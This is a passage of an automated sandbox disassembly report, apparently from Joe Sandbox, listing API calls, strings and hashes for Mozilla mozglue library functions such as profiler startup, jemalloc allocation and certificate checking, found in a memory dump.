getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C555729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C55574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C55576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C555796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5557B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5557CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5554A3
[I %d/%d] profiler_init, xrefs: 6C55564E
MOZ_PROFILER_STARTUP, xrefs: 6C5555E1
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C555D1C
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5554B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C555D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C555B38
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C555D01
MOZ_BASE_PROFILER_HELP, xrefs: 6C555511
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C555BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C555AC9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C55548D
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C555717
GeckoMain, xrefs: 6C555554, 6C5555D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C555749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5557C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C55584E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5556E3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5557AE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C555766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C555D24
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C555724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C555791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C555C56
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C555CF9

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: c1a72c8c6203ef88f4ff0c5e24e343116568eec61ee9d8e22cb6fe2f9c60d087
Instruction ID: 520f3b01bccd9bccead5b5082aee2ab390af603a2e94d2abd0b579c1d90ad567
Opcode Fuzzy Hash: c1a72c8c6203ef88f4ff0c5e24e343116568eec61ee9d8e22cb6fe2f9c60d087
Instruction Fuzzy Hash: D92213B1A047409FDB00AFB4CC5866A77B4FF86348FC10A2EE84697B41E7349968CB57

Function 6C58B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C58B845
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8,?,?,00000000), ref: 6C58B852
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58B884
InitializeConditionVariable.KERNEL32(?), ref: 6C58B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C58B9FD
GetCurrentThreadId.KERNEL32 ref: 6C58BA05
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8,?,?,00000000), ref: 6C58BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C58BA27
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58BA4B
free.MOZGLUE(?), ref: 6C58C9C7
free.MOZGLUE(?), ref: 6C58C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C58C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C58C878

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 44f5250fa01026f29ea27aec3c2ec2192950d9962b2da2d885d6d1aa6ad44d22
Instruction ID: 2b26a492e4db636deb29b9a02a1493c1b857c3111fd9cd46df93013d1bf21afe
Opcode Fuzzy Hash: 44f5250fa01026f29ea27aec3c2ec2192950d9962b2da2d885d6d1aa6ad44d22
Instruction Fuzzy Hash: 60A2BC71A097908FC725CF28C89079FB7E5BFC9318F414A2DE89997751DB70A909CB82

Function 6C556C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C556CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C556D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C556D26

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C556D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C556D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C556D73
free.MOZGLUE(00000000), ref: 6C556D80
CertGetNameStringW.CRYPT32 ref: 6C556DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C556DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C556DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C556DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C556E10
CryptMsgClose.CRYPT32(00000000), ref: 6C556E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C556E34
CreateFileW.KERNEL32 ref: 6C556EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C556F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C556F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C55709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C557103
free.MOZGLUE(00000000), ref: 6C557153
CloseHandle.KERNEL32(?), ref: 6C557176
__Init_thread_footer.LIBCMT ref: 6C557209
__Init_thread_footer.LIBCMT ref: 6C55723A
__Init_thread_footer.LIBCMT ref: 6C55726B
__Init_thread_footer.LIBCMT ref: 6C55729C
__Init_thread_footer.LIBCMT ref: 6C5572DC
__Init_thread_footer.LIBCMT ref: 6C55730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5573C2
VerSetConditionMask.NTDLL ref: 6C5573F3
VerSetConditionMask.NTDLL ref: 6C5573FF
VerSetConditionMask.NTDLL ref: 6C557406
VerSetConditionMask.NTDLL ref: 6C55740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C55741A
moz_xmalloc.MOZGLUE(?), ref: 6C55755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C557568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C557585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C557598
free.MOZGLUE(00000000), ref: 6C5575AC

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

Strings

SHA256, xrefs: 6C556EC0
(, xrefs: 6C55768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5572C8
wintrust.dll, xrefs: 6C5572CD

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: bc737bd959e3107bd59745a3df6070e0012d7bc0e301244525fad90f71a5ba87
Instruction ID: 5eab89c2d1daf4138bb55cc27ba1ec3a564573a09af4ff0d0767920be370462e
Opcode Fuzzy Hash: bc737bd959e3107bd59745a3df6070e0012d7bc0e301244525fad90f71a5ba87
Instruction Fuzzy Hash: 4952D2B1A007149FEB21DF64CC84BAA77B8EB85704F51819EE809A7640DB70AF94CF95

Function 6C576FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE7DC), ref: 6C577019
LeaveCriticalSection.KERNEL32(6C5CE7DC), ref: 6C577061
EnterCriticalSection.KERNEL32(?), ref: 6C5771A4
LeaveCriticalSection.KERNEL32(?), ref: 6C57721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C57723E
EnterCriticalSection.KERNEL32(?), ref: 6C57726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5772B2
LeaveCriticalSection.KERNEL32(?), ref: 6C57733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5773E8
LeaveCriticalSection.KERNEL32(?), ref: 6C57961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C579622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C579642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5796CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5796DB
AcquireSRWLockExclusive.KERNEL32(6C5CE804), ref: 6C579747
GetSystemInfo.KERNEL32(?), ref: 6C579792
__Init_thread_footer.LIBCMT ref: 6C5797A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5CE810,00000040), ref: 6C5797CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE7B8,00001388), ref: 6C579838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE744,00001388), ref: 6C57984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE784,00001388), ref: 6C579874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5CE7DC,00001388), ref: 6C579895

Strings

MOZ_CRASH(), xrefs: 6C579B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5799BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5799A8
MALLOC_OPTIONS, xrefs: 6C5797CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C579933, 6C579A33, 6C579A4E
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C579993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5799D2
<jemalloc>, xrefs: 6C579B33, 6C579BE3
Compile-time page size does not divide the runtime one., xrefs: 6C579B38
: (malloc) Unsupported character in malloc options: ', xrefs: 6C579BF4

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: b53f0c9fd8455c65c159e0d87c1bd939bad7fe14d48fee9eef18b010287d8dfd
Instruction ID: 4e12711af9198b4db2fad846f13ae14558a9b44220019f27b344a4775a3a83dd
Opcode Fuzzy Hash: b53f0c9fd8455c65c159e0d87c1bd939bad7fe14d48fee9eef18b010287d8dfd
Instruction Fuzzy Hash: 4C53A071A057018FD725CF28C980615FBE1FF86328F29C66DE8699B791D371E881CBA1

Function 6C580DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C580F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C580F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C580FB7
EnterCriticalSection.KERNEL32(?), ref: 6C580FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C581031
LeaveCriticalSection.KERNEL32(?), ref: 6C5810D0
EnterCriticalSection.KERNEL32(?), ref: 6C58117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C581C39
EnterCriticalSection.KERNEL32(6C5CE744), ref: 6C583391
LeaveCriticalSection.KERNEL32(6C5CE744), ref: 6C5833CD
LeaveCriticalSection.KERNEL32(?), ref: 6C583431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C583437

Strings

MOZ_CRASH(), xrefs: 6C583950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5837BD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5837A8
MALLOC_OPTIONS, xrefs: 6C5835FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C583559, 6C58382D, 6C583848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C583793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5837D2
<jemalloc>, xrefs: 6C583941, 6C5839F1
Compile-time page size does not divide the runtime one., xrefs: 6C583946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C583A02

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: ad7e20e8dffbe73644c6fc25117abee8bb47136ba291971aea957998da933e49
Instruction ID: d861f05ace0743e8a9c57801c9b4e7d2c57bc978d921ae679a6d4fdbf1493eae
Opcode Fuzzy Hash: ad7e20e8dffbe73644c6fc25117abee8bb47136ba291971aea957998da933e49
Instruction Fuzzy Hash: 52538D71A067218FD704CF29C940616FBE1BF89328F29C76DE8699B7A1D771E841CB81

Function 6C5A55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C57E1A5), ref: 6C5A5606
LoadLibraryW.KERNEL32(gdi32,?,6C57E1A5), ref: 6C5A560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C5A5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C5A563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C5A566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C5A567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C5A5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5A56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5A56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5A56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5A56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C5A5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C5A572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C5A5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C5A5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C5A577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C5A5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5A57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5A57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5A57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5A57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5A57FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6C5A562D
GetSystemMetricsForDpi, xrefs: 6C5A5677
RegisterClassW, xrefs: 6C5A56AC
MonitorFromWindow, xrefs: 6C5A578D
ShowWindow, xrefs: 6C5A56DE
SetWindowPos, xrefs: 6C5A56F7
CreateWindowExW, xrefs: 6C5A56C5
CreateSolidBrush, xrefs: 6C5A57E4
ReleaseDC, xrefs: 6C5A5742
SetWindowLongPtrW, xrefs: 6C5A57B7
GetMonitorInfoW, xrefs: 6C5A57A2
LoadCursorW, xrefs: 6C5A5774
gdi32, xrefs: 6C5A560A
GetDpiForWindow, xrefs: 6C5A5690
user32, xrefs: 6C5A5601
GetWindowDC, xrefs: 6C5A5710
FillRect, xrefs: 6C5A5729
AreDpiAwarenessContextsEqual, xrefs: 6C5A5637
DeleteObject, xrefs: 6C5A57F9
EnableNonClientDpiScaling, xrefs: 6C5A5666
StretchDIBits, xrefs: 6C5A57CC
LoadIconW, xrefs: 6C5A575B

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 666c62c5bacc38ee9d1acea060fe11f12c96d771669d65c69fbd221467426e54
Instruction ID: cfd518d4e5eda5a8c5b2b7557800b9ea28234df21b38caff17c1a6162e2d03ed
Opcode Fuzzy Hash: 666c62c5bacc38ee9d1acea060fe11f12c96d771669d65c69fbd221467426e54
Instruction Fuzzy Hash: 90518474701F07ABDB04AFB68D54D2E3AF8BB07645762452DA911E3A02EF74CA01CF68

Function 6C5A34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A3EE2

Part of subcall function 6C5A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5A61DD
Part of subcall function 6C5A6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C5A622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A4157

Part of subcall function 6C5A6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5A6250
Part of subcall function 6C5A6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5A4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5A484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5A4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5A4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C5A4896
free.MOZGLUE ref: 6C5A489F

Strings

, xrefs: 6C5A4CD2

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 172b1f1fd563aa71af632f7eeb7a512afb8c71aca28454da4592e637b59c74c4
Instruction ID: 8cb6e55f60af66414941c3a97cf3408f8c17b555e9416f30a02e424045c9f484
Opcode Fuzzy Hash: 172b1f1fd563aa71af632f7eeb7a512afb8c71aca28454da4592e637b59c74c4
Instruction Fuzzy Hash: FEF25A70908B80CFC765CF29C49469AFBF1BFC9308F118A5ED99997712DB319886CB46

